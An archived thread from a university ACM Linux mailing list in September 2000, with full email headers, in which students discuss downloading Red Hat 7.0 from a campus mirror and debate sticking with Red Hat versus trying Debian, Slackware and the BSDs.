jhuml3.jhu.edu (PMDF V6.0-24 #46859) with ESMTP id <0G1J00G6ERHQ7G@jhuml3.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 09:15:26 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with ESMTP id JAA48881 for ; Wed, 27 Sep 2000 09:15:26 -0400 (EDT) Date: Wed, 27 Sep 2000 09:15:26 -0400 From: Michael C Hilsdale Subject: Re: [Linux] redhat 7.0 In-reply-to: <03e901c0283d$73c43b10$0300a8c0@js> To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 601 Lines: 22 Use the ACM's mirror. If you're on the campus network, it'll be the fastest download of the ISO that you'll be able to get. ftp://ftp.acm.jhu.edu/pub/mirrors/linux/Redhat-7.0 - Mike On Wed, 27 Sep 2000, John Shiles wrote: > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > Thanks, > John > > --------------------------------------------- > John Shiles > Dept of Computer Science > Johns Hopkins University > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 10:34 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA15614 for ; Wed, 27 Sep 2000 10:34:07 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA21597; Wed, 27 Sep 2000 10:34:03 -0400 Received: from mercea.net (postfix@cd-145-142.ra30.dc.capu.net [64.50.145.142]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id KAA21578 for ; Wed, 27 Sep 2000 10:34:00 -0400 Received: from mercea.net (localhost.mercea.net [127.0.0.1]) by mercea.net (Postfix) with ESMTP id 91EBB2626C for ; Wed, 27 Sep 2000 10:33:58 -0400 (EDT) From: Scott Lipcon To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Your message of "Wed, 27 Sep 2000 02:00:11 EDT." Date: Wed, 27 Sep 2000 10:33:58 -0400 Message-Id: <20000927143358.91EBB2626C@mercea.net> Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text Content-Length: 4978 Lines: 108 Brian has a few good points - we'll all learn more if we try different distributions and operating systems. Quite honestly, I say that I know linux, but I really only have experience with RedHat (and linuxppc, but thats a redhat derivitive) I tried Debian once, and couldn't stand it. I've been meaning to give it a try. Slackware just seems so backwards to me :) As for packaging systems, vs install your own. I used to be firmly in the "if I didn't compile it, its crap" camp, but in reality, the packages that are out there are easier to use, and handle all sorts of dependencies for you. I tend to agree about gnome being a dll monster, but yes, it does belong in /usr, if its installed using one of the packagine systems (rpm, deb, etc - the bsds do it differently) That used to be one of my complaints about RPM, I thought they should install to /usr/local. However, the reasoning is very simple: you make /usr/local its own partition, and install truly local things there, that you compile and customize, etc. Then, when you do an "upgrade" install, it doesn't touch /usr/local, but updates all the RPMs in /usr. I agree with some of what James (i think) said, about linux not having the same application support as SCO, Solaris x86, etc. He said that would be different in a year. I think its different now - with the exception of a very few specialty programs, i suspect there is more (commercial) software available for linux. Besides, linux can run SCO binaries :) I've used SCO, a few years ago, and it was horrible. Maybe its improved since then. I do think learning "unix" instead of linux is useful, so I'd encourage anyone who's thinking of playing with another unix to try one of the bsds. FreeBSD is probably the easiest, but they're all pretty good (btw, FreeBSD 4.1.1 is out today, i'll try to grab the iso) Scott > Hello LUGers.... > > [Brian steps onto the soapbox] > > Has anyone else noticed that the JHU ACM is a little RedHat dependent? I > mean, I know all the stuff about it being the most popular and having > arguably the best installation suite, but still... I think members would > learn a lot more about Linux, Unix, and computing in general if we would > try to all individually wean ourselves from the things that make RedHat > RedHat instead of merely Linux. Things you can do: > > - never install anything from RPM's. installing stuff from source gives > you the opportunity to custom-configure the application from the GNU > 'configure' script or by manually editing the source. You also get the > chance to read the source code. Plus, RPM's tend to install apps in > stupid places (does GNOME and its 'DLL hell' of dependencies really belong > in /usr/ ?) apt-get in Debian and BSD packages are similar evils in my > opinion, but hey- I'm a control freak. > > - play around with Debian, Slackware, and some other distros. Compare > them with each other and with RedHat, and see if you can tell how they're > different, and whether those differences are good or bad. > > - play around with as many other Unix platforms you can get your hands on, > and compare them with each other and with the various Linuxes you've > used. Free Unix-based OS's available include FreeBSD, OpenBSD, BeOS > Personal Edition, QNX Realtime Platform, and NetBSD. > > I know that some of this simply isn't feasable for a lot of people. JHU is > a hectic place and we all have too much work. We just don't want to run > Windows because it doesn't meet our standards, and RedHat does just > fine for that purpose. But honestly, think about it... all of us spend > just a little bit too much time sitting at our computers NOT doing > homework. We're all computer geeks, or we wouldn't be in the ACM. Why > not expand our horizons a little? We're the Linux User Group, not the > RedHat Users Group - let's try to become truly > platform-independent. Can't hurt :) > > I apologize for this rant, and I apologize to those I may have alienated > (yes James, I know you'd run FreeBSD on your truck's cassete player if you > could figure out how) and no, you Mandrake people are NOT exempt from my > broadcast . > > Any thoughts? > > BTW, sorry John. This wasn't targeted at you specifically. I just replied > to your message because it was easier than composing a new one I guess. > > -Brian J. Cohen > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere > i try there is no iso? > > > > Thanks, > > John > > > > --------------------------------------------- > > John Shiles > > Dept of Computer Science > > Johns Hopkins University > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 13:24 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA18443 for ; Wed, 27 Sep 2000 13:24:01 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA24906; Wed, 27 Sep 2000 13:23:59 -0400 Received: from localhost (lloyd@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA24899 for ; Wed, 27 Sep 2000 13:23:56 -0400 Date: Wed, 27 Sep 2000 13:23:56 -0400 (EDT) From: Jack Lloyd To: linux@chimera.acm.jhu.edu Message-ID: MIME-Version: 1.0 Subject: [Linux] 2.2.17 + 2.4.0test8 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 336 Lines: 11 Are mirrored on chimera, ftp://acm.jhu.edu/pub/mirrors/linux/kernels/ -- Jack Lloyd * JHU CS/ACM * finger for PGP IDs/fingerprints Hi, the voices in my head told me to come over here and talk to you! _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 13:48 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA18963 for ; Wed, 27 Sep 2000 13:48:36 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA25505; Wed, 27 Sep 2000 13:48:33 -0400 Received: from jhuml2.hcf.jhu.edu (jhuml2.hcf.jhu.edu [128.220.2.87]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id NAA25498 for ; Wed, 27 Sep 2000 13:48:30 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUO4HZKAKGG8DW7C@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 13:48:07 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUO4HWZTSUG5XXKU@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 13:48:02 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id NAA14482 for ; Wed, 27 Sep 2000 13:48:13 -0400 (EDT) Date: Wed, 27 Sep 2000 13:48:13 -0400 (EDT) From: Chris Ralston Subject: Re: [Linux] redhat 7.0 In-reply-to: <20000927143358.91EBB2626C@mercea.net> To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1397 Lines: 29 I think it's a neat feeling when you come to the realization of the "intention" of various paths, like /usr/local/. Once, though, I had a lab of redhat machines I was maintaining. To ease the installation of new software, I NFS mounted /usr/local on each machine from a central source. I thought it was sort of ironic having "local" be the only off-drive partition... -Chris -- Rest assured that in 'normal' cases, things are nice. On Wed, 27 Sep 2000, Scott Lipcon wrote: > As for packaging systems, vs install your own. I used to be firmly in > the "if I didn't compile it, its crap" camp, but in reality, the > packages that are out there are easier to use, and handle all sorts of > dependencies for you. I tend to agree about gnome being a dll > monster, but yes, it does belong in /usr, if its installed using one > of the packagine systems (rpm, deb, etc - the bsds do it differently) > That used to be one of my complaints about RPM, I thought they should > install to /usr/local. However, the reasoning is very simple: you > make /usr/local its own partition, and install truly local things > there, that you compile and customize, etc. Then, when you do an > "upgrade" install, it doesn't touch /usr/local, but updates all the > RPMs in /usr. _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 14:01 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19247 for ; Wed, 27 Sep 2000 14:01:55 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA25804; Wed, 27 Sep 2000 14:01:51 -0400 Received: from jhuml2.hcf.jhu.edu (jhuml2.hcf.jhu.edu [128.220.2.87]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA25797 for ; Wed, 27 Sep 2000 14:01:49 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUO4YJ5V7KG5XJNS@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 14:01:27 -0400 (EDT) Received: from chow.mat.jhu.edu (chow.mat.jhu.edu [128.220.25.2]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUO4YHZWIKG5WZPD@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 14:01:24 -0400 (EDT) Received: from localhost (cralston@localhost) by chow.mat.jhu.edu (8.9.1/8.9.1) with SMTP id OAA15323 for ; Wed, 27 Sep 2000 14:01:36 -0400 (EDT) Date: Wed, 27 Sep 2000 14:01:36 -0400 (EDT) From: Chris Ralston Subject: Re: [Linux] redhat 7.0 In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 4868 Lines: 108 I was thinking about this post most of the day... >From reading Brian's message, it sounds like ACMers (and Linux and/or RedHat users in general) are using their OS of choice simply because it's an alternative to Dos/Windows/MacOS. While there are lots of people out there who do this, I'd imagine most of the folks here have a little more "mature" reasoning when it comes to chosing an OS for a particular task; that is to say, given a need for a system for a given purpose, the choice of OS fits the need. While there are some differences between the "free unices" (I use the term very loosely), in general they all have pretty much the same qualities/drawbacks when compared to other OSes. It's hard to argue for or against NetBSD versus RedHat for a web server; in the end, the difference amounts to a kernel, a few libraries, and some path choices. If someone wants to learn RedHat (or Debian, or OpenBSD, or ...) and use it almost exclusively as their "free unix" of choice, then that person gets to be an expert at using that platform and [she,he] can deploy it quickly, efficiently, and in a wide variety of custom forms. That way, when it becomes obvious to chose between a commercial GUI'ed OS with support for USB or a free unix cross-platform fileserving OS, they won't have to research between all the different free unixes to know which to chose. I guess it goes back to the "do one thing, do it well" mentality. Obviously for some people, being fluent in "just" one free unix isn't enough, but I think for a lot of us, after the initial experimentation with different flavors, it's safe to decide on one (or a small number) to focus on. -Chris -- Rest assured that in 'normal' cases, things are nice. On Wed, 27 Sep 2000, Brian Cohen wrote: > Hello LUGers.... > > [Brian steps onto the soapbox] > > Has anyone else noticed that the JHU ACM is a little RedHat dependent? I > mean, I know all the stuff about it being the most popular and having > arguably the best installation suite, but still... I think members would > learn a lot more about Linux, Unix, and computing in general if we would > try to all individually wean ourselves from the things that make RedHat > RedHat instead of merely Linux. Things you can do: > > - never install anything from RPM's. installing stuff from source gives > you the opportunity to custom-configure the application from the GNU > 'configure' script or by manually editing the source. You also get the > chance to read the source code. Plus, RPM's tend to install apps in > stupid places (does GNOME and its 'DLL hell' of dependencies really belong > in /usr/ ?) apt-get in Debian and BSD packages are similar evils in my > opinion, but hey- I'm a control freak. > > - play around with Debian, Slackware, and some other distros. Compare > them with each other and with RedHat, and see if you can tell how they're > different, and whether those differences are good or bad. > > - play around with as many other Unix platforms you can get your hands on, > and compare them with each other and with the various Linuxes you've > used. Free Unix-based OS's available include FreeBSD, OpenBSD, BeOS > Personal Edition, QNX Realtime Platform, and NetBSD. > > I know that some of this simply isn't feasable for a lot of people. JHU is > a hectic place and we all have too much work. We just don't want to run > Windows because it doesn't meet our standards, and RedHat does just > fine for that purpose. But honestly, think about it... all of us spend > just a little bit too much time sitting at our computers NOT doing > homework. We're all computer geeks, or we wouldn't be in the ACM. Why > not expand our horizons a little? We're the Linux User Group, not the > RedHat Users Group - let's try to become truly > platform-independent. Can't hurt :) > > I apologize for this rant, and I apologize to those I may have alienated > (yes James, I know you'd run FreeBSD on your truck's cassete player if you > could figure out how) and no, you Mandrake people are NOT exempt from my > broadcast . > > Any thoughts? > > BTW, sorry John. This wasn't targeted at you specifically. I just replied > to your message because it was easier than composing a new one I guess. > > -Brian J. Cohen > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > Thanks, > > John > > > > --------------------------------------------- > > John Shiles > > Dept of Computer Science > > Johns Hopkins University > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 14:19 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19664 for ; Wed, 27 Sep 2000 14:19:00 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA26227; Wed, 27 Sep 2000 14:18:54 -0400 Received: from jhuml1.hcf.jhu.edu (jhuml1.hcf.jhu.edu [128.220.2.86]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA26220 for ; Wed, 27 Sep 2000 14:18:51 -0400 Received: from conversion.jhmail.hcf.jhu.edu by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) id <01JUO5JPEBS0G5XJNS@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 14:18:30 -0400 (EDT) Received: from jhunix.hcf.jhu.edu (jhunix.hcf.jhu.edu [128.220.2.5]) by jhmail.hcf.jhu.edu (PMDF V6.0-24 #40996) with ESMTP id <01JUO5JQ3ZSAG8DWEE@jhmail.hcf.jhu.edu> for linux@acm.jhu.edu; Wed, 27 Sep 2000 14:18:31 -0400 (EDT) Received: from pirasa (jhu2109.res.jhu.edu [128.220.196.43]) by jhunix.hcf.jhu.edu (SGI-8.9.3/8.9.3) with SMTP id OAA83479 for ; Wed, 27 Sep 2000 14:18:40 -0400 (EDT) Date: Wed, 27 Sep 2000 14:18:46 -0400 From: Ali Soylu Subject: RE: [Linux] redhat 7.0 In-reply-to: To: linux@acm.jhu.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: text/plain; charset=US-ASCII Content-Length: 6214 Lines: 141 I think you're right. I've used different Linux distro's, and FreeBSD. I can do what I need on any of these, however Linux has more commercial software support compared to FreeBSD. I picked FreeBSD for my server because I I had used it more and was used to it (like you say: paths, kernel, ports system) I agree that any other free unix would do the job more or less the same. But that's my choice, and I'm happy I made this choice. But I can't agree that "free unices" are the best choice for a desktop system (at least for now) I would love to use FreeBSD on my desktop, but half of my hardware is not supported (yet) and some software I need to use are not available for unix. However, I spend more half of my time on the computer logged in to my FreeBSD box and using that. (SSH and VNC over SSH) And I'm planning to convert my desktop to FreeBSD as soon as soon as all my hardware is supported. (my USB webcam and my printer for example, I might switch to linux when 2.4 final is out) But for now I'm using w2k. ALi -----Original Message----- From: linux-admin@acm.jhu.edu [mailto:linux-admin@acm.jhu.edu]On Behalf Of Chris Ralston Sent: Wednesday, September 27, 2000 2:02 PM To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 I was thinking about this post most of the day... >From reading Brian's message, it sounds like ACMers (and Linux and/or RedHat users in general) are using their OS of choice simply because it's an alternative to Dos/Windows/MacOS. While there are lots of people out there who do this, I'd imagine most of the folks here have a little more "mature" reasoning when it comes to chosing an OS for a particular task; that is to say, given a need for a system for a given purpose, the choice of OS fits the need. While there are some differences between the "free unices" (I use the term very loosely), in general they all have pretty much the same qualities/drawbacks when compared to other OSes. It's hard to argue for or against NetBSD versus RedHat for a web server; in the end, the difference amounts to a kernel, a few libraries, and some path choices. If someone wants to learn RedHat (or Debian, or OpenBSD, or ...) and use it almost exclusively as their "free unix" of choice, then that person gets to be an expert at using that platform and [she,he] can deploy it quickly, efficiently, and in a wide variety of custom forms. That way, when it becomes obvious to chose between a commercial GUI'ed OS with support for USB or a free unix cross-platform fileserving OS, they won't have to research between all the different free unixes to know which to chose. I guess it goes back to the "do one thing, do it well" mentality. Obviously for some people, being fluent in "just" one free unix isn't enough, but I think for a lot of us, after the initial experimentation with different flavors, it's safe to decide on one (or a small number) to focus on. -Chris -- Rest assured that in 'normal' cases, things are nice. On Wed, 27 Sep 2000, Brian Cohen wrote: > Hello LUGers.... > > [Brian steps onto the soapbox] > > Has anyone else noticed that the JHU ACM is a little RedHat dependent? I > mean, I know all the stuff about it being the most popular and having > arguably the best installation suite, but still... I think members would > learn a lot more about Linux, Unix, and computing in general if we would > try to all individually wean ourselves from the things that make RedHat > RedHat instead of merely Linux. Things you can do: > > - never install anything from RPM's. installing stuff from source gives > you the opportunity to custom-configure the application from the GNU > 'configure' script or by manually editing the source. You also get the > chance to read the source code. Plus, RPM's tend to install apps in > stupid places (does GNOME and its 'DLL hell' of dependencies really belong > in /usr/ ?) apt-get in Debian and BSD packages are similar evils in my > opinion, but hey- I'm a control freak. > > - play around with Debian, Slackware, and some other distros. Compare > them with each other and with RedHat, and see if you can tell how they're > different, and whether those differences are good or bad. > > - play around with as many other Unix platforms you can get your hands on, > and compare them with each other and with the various Linuxes you've > used. Free Unix-based OS's available include FreeBSD, OpenBSD, BeOS > Personal Edition, QNX Realtime Platform, and NetBSD. > > I know that some of this simply isn't feasable for a lot of people. JHU is > a hectic place and we all have too much work. We just don't want to run > Windows because it doesn't meet our standards, and RedHat does just > fine for that purpose. But honestly, think about it... all of us spend > just a little bit too much time sitting at our computers NOT doing > homework. We're all computer geeks, or we wouldn't be in the ACM. Why > not expand our horizons a little? We're the Linux User Group, not the > RedHat Users Group - let's try to become truly > platform-independent. Can't hurt :) > > I apologize for this rant, and I apologize to those I may have alienated > (yes James, I know you'd run FreeBSD on your truck's cassete player if you > could figure out how) and no, you Mandrake people are NOT exempt from my > broadcast . > > Any thoughts? > > BTW, sorry John. This wasn't targeted at you specifically. I just replied > to your message because it was easier than composing a new one I guess. > > -Brian J. Cohen > > > On Wed, 27 Sep 2000, John Shiles wrote: > > > Has anyone found a good place to download redhat 7.0 yet, cause everywhere i try there is no iso? > > > > Thanks, > > John > > > > --------------------------------------------- > > John Shiles > > Dept of Computer Science > > Johns Hopkins University > > > > _______________________________________________ > Linux maillist - Linux@acm.jhu.edu > http://www.acm.jhu.edu/mailman/listinfo/linux > _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 14:33 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA19804 for ; Wed, 27 Sep 2000 14:33:20 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA26562; Wed, 27 Sep 2000 14:33:14 -0400 Received: from localhost (brian@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id OAA26555 for ; Wed, 27 Sep 2000 14:33:11 -0400 Date: Wed, 27 Sep 2000 14:33:11 -0400 (EDT) From: Brian Cohen To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 2016 Lines: 38 On Wed, 27 Sep 2000, Chris Ralston wrote: > I guess it goes back to the "do one thing, do it well" mentality. > Obviously for some people, being fluent in "just" one free unix isn't > enough, but I think for a lot of us, after the initial experimentation > with different flavors, it's safe to decide on one (or a small number) to > focus on. True. But I contend that, in reality, people AREN'T experiementing with different flavors. They're plopping the RedHat CD in the drive, choosing the "full install" option and then installing each successive RedHat release. They sit at their machines, look at their shiney Helix GNOME (or KDE-2) desktop and say, "wow. Linux is really starting to catch up to Windows. Screw you, Billy G!" I ALWAYS think very hard about what OS i'm going to install for a particular application. I have the luxury of doing this because I've a) experimented with a few platorms and b) am not afraid in the least of trying still more. On my network (intercarve.net), I run two Linux boxes (slackware) for public use, FreeBSD for the primary DNS, and OpenBSD for my mail exchanger. I don't have such diversity for diversity's sake (affirmative action is a crock) but rather because I felt each platform was more aptly suited for a particular task. My first experience with *nix was with FreeBSD. My first experience with Linux was with RedHat. I cosider myself a geek (with the mindset, if not the skill level, of a hacker) because I am NEVER contet simply to use that which I've already learned. It's never enough. There is always more to learn, and while I might be just fine if I learned to curb that desire, I've found that the result of learning more platforms has been overwhelmingly positive and has greatly benefited my work ethic, as well as the quality and security of the systems I maintain. [Brian does a backflip off the soapbox] peace _______________________________________________ Linux maillist - Linux@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/linux >From linux-admin@acm.jhu.edu Wed Sep 27 15:46 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA21769 for ; Wed, 27 Sep 2000 15:46:21 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA28240; Wed, 27 Sep 2000 15:46:18 -0400 Received: from localhost (jflemer@localhost) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id PAA28233 for ; Wed, 27 Sep 2000 15:46:15 -0400 Date: Wed, 27 Sep 2000 15:46:15 -0400 (EDT) From: "James E. Flemer" To: linux@acm.jhu.edu Subject: Re: [Linux] redhat 7.0 In-Reply-To: Message-ID: MIME-Version: 1.0 Sender: linux-admin@acm.jhu.edu Errors-To: linux-admin@acm.jhu.edu X-BeenThere: linux@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk Reply-To: linux@acm.jhu.edu List-Id: The JHU ACM Linux discussion and help list Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 5110 Lines: 107 [ /me just spent 10min catching up on this thread ] Hmm, a lot has been said since my don't forget Solaris comment. Just to clarify that: I do have the Solaris/x86 CDs -- it's crap! No contest there... I would rather have a 'full install' Red Hat 6.0 (aka: security holes galore) than Slowlaris/x86. My opinion on Solaris is: If you need it .. use their hardware with it. Ok, now back to the main topic here. I concur with Brian here completly. I really feel that people have become to apathetic .. they sit down and install RH. Even if you are used to RH, it doesn't mean that you should stick with it. I highly suggest trying out as many OS's as you can. As Brian pointed out, each one tends to have its own particular strong points (and weaknesses). Some unices are much better suited for different applications. BSDs tend to be better for server platforms, and within the BSD world there is more specialization. OpenBSD is secure -- use it for your firewall; NetBSD supports lots of arcitectures -- use it on your Mac 68k; FreeBSD is (the best :) -- use it for your webserver/samba server/mysql/postgres/etc. It may seem that I try to convert everyone to BSD. I really just want everyone to *try* BSD ... then decide if it will do what you need. I have been using FreeBSD for five years on my personal computer -- started w/ a dual booting 486 with 16mb RAM. Way back then (in 1995) I had to choose between Linux and FreeBSD, and I went with BSD because of stability. Since then I have seen how the two have become farther apart in some ways and closer in others. Linux (esp. Red Hat) has gained popularity by mimicing Windows. [If it walks like a duck, and it talks like a duck...] So now you can make Linux look/feel/run like windows, it's got all the "pretty" UI features, and [almost] all the applications. My opinion is that in the attempt to convert windows users to UNIX (read: Red Hat Linux), Linux has partially lost the focus of stability. I have tried lots of OSs and distros (tho I bet Brian's got me beat). I may not stick with them, but I play around with them till I am at least a little comfortable in them. And I am always willing to try more. [ And am looking for a dirt cheap Pentium box to use in playing with more OSs ... ] Do not be content with your OS. Do not fear trying a new OS. Be brave, take a risk, crash your box and have to reformat the whole thing. I have, and now it makes me that much more flexable and knowlegable about [all] unices. If you "do one thing ... well," what do you do if that one thing isn't there (at some future job, in the lab you are in, to run the application you need)? That's about $1.25 worth of my $3.50 (tree-fiddy). -James PS. If anyone decides to try BSD (Tahir, I mean you) feel free to bug me with annoying newbie questions. I'll be glad to help. On Wed, 27 Sep 2000, Brian Cohen wrote: > On Wed, 27 Sep 2000, Chris Ralston wrote: > > I guess it goes back to the "do one thing, do it well" mentality. > > Obviously for some people, being fluent in "just" one free unix isn't > > enough, but I think for a lot of us, after the initial experimentation > > with different flavors, it's safe to decide on one (or a small number) to > > focus on. > > True. But I contend that, in reality, people AREN'T experiementing with > different flavors. They're plopping the RedHat CD in the drive, choosing > the "full install" option and then installing each successive RedHat > release. They sit at their machines, look at their shiney Helix GNOME (or > KDE-2) desktop and say, "wow. Linux is really starting to catch up to > Windows. Screw you, Billy G!" > > I ALWAYS think very hard about what OS i'm going to install for a > particular application. I have the luxury of doing this because I've > a) experimented with a few platorms and b) am not afraid in the least of > trying still more. On my network (intercarve.net), I run two Linux boxes > (slackware) for public use, FreeBSD for the primary DNS, and OpenBSD for > my mail exchanger. I don't have such diversity for diversity's sake > (affirmative action is a crock) but rather because I felt each platform > was more aptly suited for a particular task. My first experience with > *nix was with FreeBSD. My first experience with Linux was with RedHat. I > cosider myself a geek (with the mindset, if not the skill level, of a > hacker) because I am NEVER contet simply to use that which I've already > learned. It's never enough. There is always more to learn, and while I > might be just fine if I learned to curb that desire, I've found that the > result of learning more platforms has been overwhelmingly positive and has > greatly benefited my work ethic, as well as the quality and security of > the systems I maintain. > > 